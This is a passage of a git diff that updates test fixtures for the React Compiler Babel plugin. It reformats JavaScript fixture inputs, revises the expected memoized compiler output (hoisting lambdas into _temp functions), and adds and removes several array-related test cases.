@@ -1,7 +1,7 @@
 function Component(props) {
   const x = [];
   <dif>{x}</dif>;
-  const y = x.map((item) => item);
+  const y = x.map(item => item);
   return [x, y];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.expect.md
index 96f3b935e162..59a16a54d4b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const x = [];
-  const y = x.map((item) => {
+  const y = x.map(item => {
     item.updated = true;
     return item;
   });
@@ -28,10 +28,7 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const x = [];
-    const y = x.map((item) => {
-      item.updated = true;
-      return item;
-    });
+    const y = x.map(_temp);
     t0 = [x, y];
     $[0] = t0;
   } else {
@@ -39,6 +36,10 @@ function Component(props) {
   }
   return t0;
 }
+function _temp(item) {
+  item.updated = true;
+  return item;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.js
index b59c4bfd13ba..83a3387ff6b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda-noAlias.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const x = [];
-  const y = x.map((item) => {
+  const y = x.map(item => {
     item.updated = true;
     return item;
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.expect.md
index 96f3b935e162..59a16a54d4b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const x = [];
-  const y = x.map((item) => {
+  const y = x.map(item => {
     item.updated = true;
     return item;
   });
@@ -28,10 +28,7 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const x = [];
-    const y = x.map((item) => {
-      item.updated = true;
-      return item;
-    });
+    const y = x.map(_temp);
     t0 = [x, y];
     $[0] = t0;
   } else {
@@ -39,6 +36,10 @@ function Component(props) {
   }
   return t0;
 }
+function _temp(item) {
+  item.updated = true;
+  return item;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.js
index b59c4bfd13ba..83a3387ff6b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-mutating-lambda.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const x = [];
-  const y = x.map((item) => {
+  const y = x.map(item => {
     item.updated = true;
     return item;
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.expect.md
index ee209592dc0c..0061bbe7fcb1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const x = [{}];
-  const y = x.map((item) => {
+  const y = x.map(item => {
     return item;
   });
   y[0].flag = true;
@@ -28,7 +28,7 @@ function Component(props) {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const x = [{}];
-    const y = x.map((item) => item);
+    const y = x.map(_temp);
     y[0].flag = true;
     t0 = [x, y];
     $[0] = t0;
@@ -37,6 +37,9 @@ function Component(props) {
   }
   return t0;
 }
+function _temp(item) {
+  return item;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.js
index d048fe444d8e..0f55f33acb7c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-mutable-array-non-mutating-lambda-mutated-result.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const x = [{}];
-  const y = x.map((item) => {
+  const y = x.map(item => {
     return item;
   });
   y[0].flag = true;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.expect.md
index b5a581ce14d8..f165502a29b6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function Component(props) {
-  const f = (item) => item;
+  const f = item => item;
   const x = [...props.items].map(f); // `f` doesn't escape here...
   return [x, f]; // ...but it does here so it's memoized
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [{ id: 1 }] }],
+  params: [{items: [{id: 1}]}],
   isComponent: false,
 };
 
@@ -21,33 +21,21 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(5);
+  const $ = _c(2);
+  const f = _temp;
   let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = (item) => item;
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const f = t0;
-  let t1;
-  if ($[1] !== props.items) {
-    t1 = [...props.items].map(f);
-    $[1] = props.items;
-    $[2] = t1;
+  if ($[0] !== props.items) {
+    const x = [...props.items].map(f);
+    t0 = [x, f];
+    $[0] = props.items;
+    $[1] = t0;
   } else {
-    t1 = $[2];
+    t0 = $[1];
   }
-  const x = t1;
-  let t2;
-  if ($[3] !== x) {
-    t2 = [x, f];
-    $[3] = x;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  return t2;
+  return t0;
+}
+function _temp(item) {
+  return item;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.js
index 60726b5e5c58..bab0285d6041 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-noAlias-escaping-function.js
@@ -1,11 +1,11 @@
 function Component(props) {
-  const f = (item) => item;
+  const f = item => item;
   const x = [...props.items].map(f); // `f` doesn't escape here...
   return [x, f]; // ...but it does here so it's memoized
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: [{ id: 1 }] }],
+  params: [{items: [{id: 1}]}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.expect.md
index a0833f5f0087..65e9bca48a8b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.expect.md
@@ -3,14 +3,14 @@
 
 ```javascript
 function component([a, b]) {
-  let y = { a };
-  let z = { b };
+  let y = {a};
+  let z = {b};
   return [y, z];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: [["val1", "val2"]],
+  params: [['val1', 'val2']],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.js
index dd60c0a6e2a1..4f1a632f4744 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-params.js
@@ -1,11 +1,11 @@
 function component([a, b]) {
-  let y = { a };
-  let z = { b };
+  let y = {a};
+  let z = {b};
   return [y, z];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: [["val1", "val2"]],
+  params: [['val1', 'val2']],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.expect.md
new file mode 100644
index 000000000000..c3bc1d162385
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.expect.md
@@ -0,0 +1,104 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  // Should memoize independently
+  const x = useMemo(() => makeObject_Primitives(), []);
+
+  const rest = useMemo(() => {
+    const [_, ...rest] = props.array;
+
+    // Should be inferred as Array.proto.push which doesn't mutate input
+    rest.push(x);
+    return rest;
+  });
+
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={x} />
+      <ValidateMemoization inputs={[props.array]} output={rest} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{array: [0, 1, 2]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import { makeObject_Primitives, ValidateMemoization } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(9);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = makeObject_Primitives();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = t0;
+  let rest;
+  if ($[1] !== props.array) {
+    [, ...rest] = props.array;
+
+    rest.push(x);
+    $[1] = props.array;
+    $[2] = rest;
+  } else {
+    rest = $[2];
+  }
+  const rest_0 = rest;
+  let t1;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <ValidateMemoization inputs={[]} output={x} />;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  let t2;
+  if ($[4] !== props.array) {
+    t2 = [props.array];
+    $[4] = props.array;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  let t3;
+  if ($[6] !== rest_0 || $[7] !== t2) {
+    t3 = (
+      <>
+        {t1}
+        <ValidateMemoization inputs={t2} output={rest_0} />
+      </>
+    );
+    $[6] = rest_0;
+    $[7] = t2;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ array: [0, 1, 2] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[],"output":{"a":0,"b":"value1","c":true}}</div><div>{"inputs":[[0,1,2]],"output":[1,2,{"a":0,"b":"value1","c":true}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.js
new file mode 100644
index 000000000000..686e87440776
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-pattern-spread-creates-array.js
@@ -0,0 +1,28 @@
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  // Should memoize independently
+  const x = useMemo(() => makeObject_Primitives(), []);
+
+  const rest = useMemo(() => {
+    const [_, ...rest] = props.array;
+
+    // Should be inferred as Array.proto.push which doesn't mutate input
+    rest.push(x);
+    return rest;
+  });
+
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={x} />
+      <ValidateMemoization inputs={[props.array]} output={rest} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{array: [0, 1, 2]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.expect.md
index 888bf12ffa28..de226fdb715d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.expect.md
@@ -3,15 +3,15 @@
 
 ```javascript
 function Component(props) {
-  const a = [props.a, props.b, "hello"];
+  const a = [props.a, props.b, 'hello'];
   const x = a.length;
   const y = a.push;
-  return { a, x, y, z: a.concat };
+  return {a, x, y, z: a.concat};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: [1, 2], b: 2 }],
+  params: [{a: [1, 2], b: 2}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.js
index 63a5dff89588..1c9129533414 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-properties.js
@@ -1,12 +1,12 @@
 function Component(props) {
-  const a = [props.a, props.b, "hello"];
+  const a = [props.a, props.b, 'hello'];
   const x = a.length;
   const y = a.push;
-  return { a, x, y, z: a.concat };
+  return {a, x, y, z: a.concat};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: [1, 2], b: 2 }],
+  params: [{a: [1, 2], b: 2}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.expect.md
index e7201a01eb19..6618be4a6c04 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.expect.md
@@ -3,16 +3,16 @@
 
 ```javascript
 function Component(props) {
-  const a = [props.a, props.b, "hello"];
+  const a = [props.a, props.b, 'hello'];
   const x = a.push(42);
   const y = a.at(props.c);
 
-  return { a, x, y };
+  return {a, x, y};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2, c: 0 }],
+  params: [{a: 1, b: 2, c: 0}],
   isComponent: false,
 };
 
@@ -24,18 +24,18 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(11);
-  let t0;
   let a;
+  let t0;
   if ($[0] !== props.a || $[1] !== props.b) {
     a = [props.a, props.b, "hello"];
     t0 = a.push(42);
     $[0] = props.a;
     $[1] = props.b;
-    $[2] = t0;
-    $[3] = a;
+    $[2] = a;
+    $[3] = t0;
   } else {
-    t0 = $[2];
-    a = $[3];
+    a = $[2];
+    t0 = $[3];
   }
   const x = t0;
   let t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.js
index 8173adf0c4d5..be20c827237a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-property-call.js
@@ -1,13 +1,13 @@
 function Component(props) {
-  const a = [props.a, props.b, "hello"];
+  const a = [props.a, props.b, 'hello'];
   const x = a.push(42);
   const y = a.at(props.c);
 
-  return { a, x, y };
+  return {a, x, y};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2, c: 0 }],
+  params: [{a: 1, b: 2, c: 0}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.expect.md
index 5173d8a6f84f..22cda38b1d79 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.expect.md
@@ -7,7 +7,7 @@
 //  - mutate on receiver
 function Component(props) {
   const x = foo(props.x);
-  const y = { y: props.y };
+  const y = {y: props.y};
   const arr = [];
   arr.push({});
   arr.push(x, y);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.js
index b91eff86427c..272cd198b7ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-push-effect.js
@@ -3,7 +3,7 @@
 //  - mutate on receiver
 function Component(props) {
   const x = foo(props.x);
-  const y = { y: props.y };
+  const y = {y: props.y};
   const arr = [];
   arr.push({});
   arr.push(x, y);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.expect.md
new file mode 100644
index 000000000000..a317e22faf92
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+function useBar({arg}) {
+  /**
+   * Note that mutableIterator is mutated by the later object spread. Therefore,
+   * `s.values()` should be memoized within the same block as the object spread.
+   * In terms of compiler internals, they should have the same reactive scope.
+   */
+  const obj = {};
+  const s = new Set([obj, 5, 4]);
+  const mutableIterator = s.values();
+  const arr = [...mutableIterator];
+
+  obj.x = arg;
+  return arr;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{arg: 3}],
+  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useBar(t0) {
+  const $ = _c(2);
+  const { arg } = t0;
+  let arr;
+  if ($[0] !== arg) {
+    const obj = {};
+    const s = new Set([obj, 5, 4]);
+    const mutableIterator = s.values();
+    arr = [...mutableIterator];
+
+    obj.x = arg;
+    $[0] = arg;
+    $[1] = arr;
+  } else {
+    arr = $[1];
+  }
+  return arr;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{ arg: 3 }],
+  sequentialRenders: [{ arg: 3 }, { arg: 3 }, { arg: 4 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"x":3},5,4]
+[{"x":3},5,4]
+[{"x":4},5,4]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.js
new file mode 100644
index 000000000000..036ce2ddfc68
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-later-mutated.js
@@ -0,0 +1,20 @@
+function useBar({arg}) {
+  /**
+   * Note that mutableIterator is mutated by the later object spread. Therefore,
+   * `s.values()` should be memoized within the same block as the object spread.
+   * In terms of compiler internals, they should have the same reactive scope.
+   */
+  const obj = {};
+  const s = new Set([obj, 5, 4]);
+  const mutableIterator = s.values();
+  const arr = [...mutableIterator];
+
+  obj.x = arg;
+  return arr;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{arg: 3}],
+  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.expect.md
new file mode 100644
index 000000000000..7aa0702d470b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+/**
+ * TODO: object spreads should have conditionally mutate semantics
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) [3,1,5,4]
+ *   [3,1,5,4]
+ *   [4,1,5,4]
+ *   Forget:
+ *   (kind: ok) [3,1,5,4]
+ *   [3,1,5,4]
+ *   [4]
+ */
+
+function useBar({arg}) {
+  'use memo';
+
+  /**
+   * Note that mutableIterator is mutated by the later object spread. Therefore,
+   * `s.values()` should be memoized within the same block as the object spread.
+   * In terms of compiler internals, they should have the same reactive scope.
+   */
+  const s = new Set([1, 5, 4]);
+  const mutableIterator = s.values();
+
+  return [arg, ...mutableIterator];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{arg: 3}],
+  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * TODO: object spreads should have conditionally mutate semantics
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) [3,1,5,4]
+ *   [3,1,5,4]
+ *   [4,1,5,4]
+ *   Forget:
+ *   (kind: ok) [3,1,5,4]
+ *   [3,1,5,4]
+ *   [4]
+ */
+
+function useBar(t0) {
+  "use memo";
+  const $ = _c(2);
+  const { arg } = t0;
+  let t1;
+  if ($[0] !== arg) {
+    const s = new Set([1, 5, 4]);
+    const mutableIterator = s.values();
+    t1 = [arg, ...mutableIterator];
+    $[0] = arg;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{ arg: 3 }],
+  sequentialRenders: [{ arg: 3 }, { arg: 3 }, { arg: 4 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [3,1,5,4]
+[3,1,5,4]
+[4,1,5,4]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.js
new file mode 100644
index 000000000000..c83a9e53e6ac
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-spread-mutable-iterator.js
@@ -0,0 +1,32 @@
+/**
+ * TODO: object spreads should have conditionally mutate semantics
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) [3,1,5,4]
+ *   [3,1,5,4]
+ *   [4,1,5,4]
+ *   Forget:
+ *   (kind: ok) [3,1,5,4]
+ *   [3,1,5,4]
+ *   [4]
+ */
+
+function useBar({arg}) {
+  'use memo';
+
+  /**
+   * Note that mutableIterator is mutated by the later object spread. Therefore,
+   * `s.values()` should be memoized within the same block as the object spread.
+   * In terms of compiler internals, they should have the same reactive scope.
+   */
+  const s = new Set([1, 5, 4]);
+  const mutableIterator = s.values();
+
+  return [arg, ...mutableIterator];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useBar,
+  params: [{arg: 3}],
+  sequentialRenders: [{arg: 3}, {arg: 3}, {arg: 4}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.expect.md
index f55f48ceca9f..93eb2bd28ac6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.expect.md
@@ -3,11 +3,11 @@
 
 ```javascript
 function Component() {
-  "use strict";
+  'use strict';
   let [count, setCount] = React.useState(0);
   const update = () => {
-    "worklet";
-    setCount((count) => count + 1);
+    'worklet';
+    setCount(count => count + 1);
   };
   return <button onClick={update}>{count}</button>;
 }
@@ -28,7 +28,7 @@ function Component() {
     t0 = () => {
       "worklet";
 
-      setCount((count_0) => count_0 + 1);
+      setCount(_temp);
     };
     $[0] = t0;
   } else {
@@ -45,6 +45,9 @@ function Component() {
   }
   return t1;
 }
+function _temp(count_0) {
+  return count_0 + 1;
+}
 
 ```
       
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.js
index 0b375af64f7e..dd80b9a36151 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-expr-directive.js
@@ -1,9 +1,9 @@
 function Component() {
-  "use strict";
+  'use strict';
   let [count, setCount] = React.useState(0);
   const update = () => {
-    "worklet";
-    setCount((count) => count + 1);
+    'worklet';
+    setCount(count => count + 1);
   };
   return <button onClick={update}>{count}</button>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-expr-gating-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-expr-gating-test.expect.md
deleted file mode 100644
index 25feb6fd64d1..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-expr-gating-test.expect.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default ErrorView;
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating
-const ErrorView = isForgetEnabled_Fixtures()
-  ? (error, _retry) => {
-      const $ = _c(2);
-      let t0;
-      if ($[0] !== error) {
-        t0 = <MessageBox error={error} />;
-        $[0] = error;
-        $[1] = t0;
-      } else {
-        t0 = $[1];
-      }
-      return t0;
-    }
-  : (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default ErrorView;
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-expr-gating-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-expr-gating-test.js
deleted file mode 100644
index 3debc725be2b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-expr-gating-test.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export default ErrorView;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.expect.md
index e752d771e4f7..8b4d20923f91 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/arrow-function-one-line-directive.expect.md
